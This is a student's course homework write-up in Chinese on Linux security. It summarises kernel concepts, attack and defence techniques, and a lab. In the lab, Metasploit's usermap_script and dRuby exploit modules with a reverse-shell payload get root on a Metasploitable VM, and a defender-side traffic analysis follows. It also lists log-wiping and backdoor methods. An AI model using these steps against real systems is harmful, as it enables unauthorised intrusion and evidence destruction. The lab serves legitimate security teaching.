《网络攻防实践》第八周作业
一、前言
- 这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
- 这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
- 我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
- 这个作业在哪个具体方面帮助我实现目标:学习了解Linux操作系统安全攻防
二、知识点总结
1.Linux操作系统基本框架概述
linux是一种典型的宏内核结构。在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM(Loadable Kernel Module)机制装载或卸载。在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。Linux操作系统内核结构图如下图。
1.1 Linux系统进程和线程管理机制
- 传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。
- 进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复。
- 调度:内核必须确定如何在现存进程之间共享CPU时间。重要进程得到的CPU时间多一点,次要进程少一点,确定哪个进程运行多长时间的过程称为调度。
1.2 Linux系统的设备处理机制
- 设备驱动程序:Linux内核中处理或者管理硬件控制器的软件。
- 基本特点是:抽象了设备的处理。
- Linux支持三类硬件设备:字符设备、块设备和网络设备。
1.3 Linux系统内存管理机制
- 内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间
- 虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。
- 特权级别:内核把虚拟地址空间划分为两个部分,因此能够保护各个系统进程,使之彼此分离。所有现代的CPU都提供了几种特权级别,进程可以驻留在某一个特权级别。IA-32体系结构使用4种特权级别构成的系统,各级别可以看作是环,如图3所示。Linux只使用两种不同的状态:核心态和用户状态。两种状态的关键差别在于用户状态禁止访问内核空间。
1.4 Linux系统的调用机制
- 系统调用:程序透过访问接口来访问硬件设备和其他系统资源。
- Linux系统的系统调用通过软中断来实现
2.Linux操作系统安全机制
Linux用户信息保存在系统的/etc/passwd文件中,加密口令字则存放在/etc/shadow文件中,只对Root可读。
目前的Linux系统普遍采用SSH服务进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:
- 基于口令的身份认证,即用户名密码
- 基于非对称密钥的身份认证
PAM支持四种管理界面: - 认证管理
- 账户管理
- 密码管理
- 会话管理
通过以下三个主要的日志子系统来实现: - 连接时间日志:管理员能跟踪谁在何时登陆了系统
- 进程统计日志:为系统中的基本服务提供命令使用统计
- 错误日志记录:报告一些值得注意的事件
常用的日志文件如下:
3.Linux系统远程攻防技术
3.1 远程口令字猜测攻击
- 通过前面提到的服务嗅探用户账户名或者使用缺省内件账户的用户名进行密码猜测。
- 口令字猜测攻击通常针对使用弱口令的的账户破解。
- 除了SSH网络服务之外,还可以通过对HTTP/HTTPS、FTP等用于自己账户体系和身份认证机制的网络服务进行猜测。
- 口令猜测的常用工具如下:Brutus、THC Hydra、Cain and Abel等工具。
3.2 防御远程口令猜测技术
- 确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。
- 特权账户应避免远程直接登录,只能在本地登录。
- 口令长度至少达到8位,包含字母、数字和标点符号。
- 对多次认证失败进行纪录,并在多次无效登录之后断掉连接
- 不要再自己登录的所有系统上都使用相同的口令字
- 并要笔录自己的口令字
- 使用基于公开密钥证书的身份认证机制
- 修改网络服务的默认端口
3.3 网络服务远程渗透攻击
- Linux内核中的网络协议栈攻击
- LAMP WEB网站中的网络服务攻击
- FTP、Samba等文件共享服务
- 电子邮件收发服务
- 其他网络服务的攻击
3.4 网络服务远程渗透攻击的安全防范措施
- 禁用不必要的网络服务
- 尽量选择更安全的网络协议和服务软件
- 及时更新网络服务版本
- 使用防火墙为Linux网络服务添加网络访问控制
- 建立入侵检测与应急响应计划流程
3.5 攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序
- 攻击Linux系统用户
3.6 针对Linux客户端攻击的防范措施
- 及时更新软件
- 在下载软件的时候通过官方下载渠道,并校验MD5
3.7 攻击linux路由器和监听器
- 针对使用Linux作为路由器系统的路由器的攻击
- 针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等
3.8 针对攻击路由器和监听器的防范
- 增强安全意识,关注厂商的安全威胁报告
- 及时进行固件的升级
- 掌握攻击者的入侵渗透手段,并进行渗透测试。
4.Linux系统本地安全攻防技术
4.1 Linux本地特权提升
- 本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
- Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
- sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限
- 利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等
4.2 本地特权提升的防范措施
- 在安装软甲的过程中评估风险
- 及时对服务器进行升级维护
- 安全的配置系统,设置强口令字,
- 使用SELinux等安全增强模块
4.3 Linux系统上的消踪灭迹
- 通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理
- 通过对.bahs_history文件的清理,清理shell的命令痕迹
4.4 防范日志消除
- 将日志信息写道难以修改的媒体介质上
- 将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。
4.5 Linux系统远程控制后门程序
- 通过替换对系统原有的远程登录程序进行替换实现后门
- 通过图形化远程控制软件例如VNC实现攻击
三、实验内容
使用到的虚拟机
下述实验我们要确保kali和metasploitable linux可以正常互相ping通,网络模式都调为NAT。下述是两台电脑的IP
模块 | ip |
---|---|
kali | 192.168.200.2 |
metasploitable linux | 192.168.200.125 |
任务一:使用Metaploit进行Linux远程渗透攻击
1.首先确认kali和metasploitable linux可以互相ping通
2.在kali打开metasploit,输入msfconsole
,回车后就会进入到他的控制台界面,然后先搜索一下usermap漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
3.use exploir/multi/usermap_script
,进入该漏洞模块的使用。
4.选择攻击负载模块,可以通过输入show payloads
,然后找到你要用的攻击负载模块,其中,命令show targets
会显示出可以被攻击的靶机的操作系统型号
5.选择18,反向连接,set PAYLOAD cmd/unix/reverse
,设置攻击有效载荷
6.按照靶机RHOST,攻击机LHOST的原则配置IP
7.使用命令show options
再次查看payload状态
8.输入exploit
开始攻击。攻击结果如下图
9.攻击成功后,输入whoami查看当前权限账户,看到是root,说明我们获取了root权限。
任务二:攻防对抗实验
攻击方
1.首先使用nmap
扫描靶机,查看开放的端口,及端口上程序的版本
2.使用nessus扫描靶机的相关漏洞,这里参考了孙启龙同学的博客,选择dRuby漏洞作为攻击漏洞。
3.然后先搜索一下dRuby漏洞,搜索结果如下图。
4.在msfconsole中使用use exploit/linux/misc/drb_remote_codeexec
使用渗透攻击模块
5.通过指令set PAYLOAD cmd/unix/reverse
设置攻击负载,并通过指令run开启攻击
6.按照靶机RHOST,攻击机LHOST的原则配置IP
7.输入exploit
开始攻击。攻击结果如下图
8.通过命令shell打开shell,通过命令id查看shell权限账户及其所在的权限组。
防守方
1.攻击方ip:通过对数据包流量及数据包内容的分析,可以看出攻击方是192.168.200.2
2.目标ip端口:通过对嗅探报文的分析可以看出攻击方连接的端口均局限在8787
端口上
3.攻击发起时间:从第一个数据包开始,攻击机开始尝试连接靶机的8787
端口,攻击时间是4点半
4.攻击利用漏洞:8787
是攻击的目标端口,通过查看nmap
结果可以查到,这个端口是druby服务的端口,进而得知这是针对drb漏洞的攻击。
5.使用的shellcode:在wireshark抓包过程中可以看到如下shellcode,第一张图攻击失败,第二张图攻击成功,具体如下图:
6.攻击之后本地执行的指令:在后面找到tcp包跟踪,发现了我输入过的命令
四、学习中遇到的问题及解决
- 攻击时出现
Exploit completed, but no session was created.
问题,无法建立会话。查阅相关资料后依然没有解决,最后靠重启虚拟机得以解决。 - 不会分析shellcode。通过学习其他同学的博客,大概有所了解了,但还是有不清楚的地方,实验后慢慢消化。
五、学习感想和体会
本次实验主要学习了Linux的攻防,能够进行一些简单的漏洞攻击。实践的过程和上周相似。重点应该还是在分析上,分析干扰项还是很多的,需要回顾消化。
2020 年 4月 20日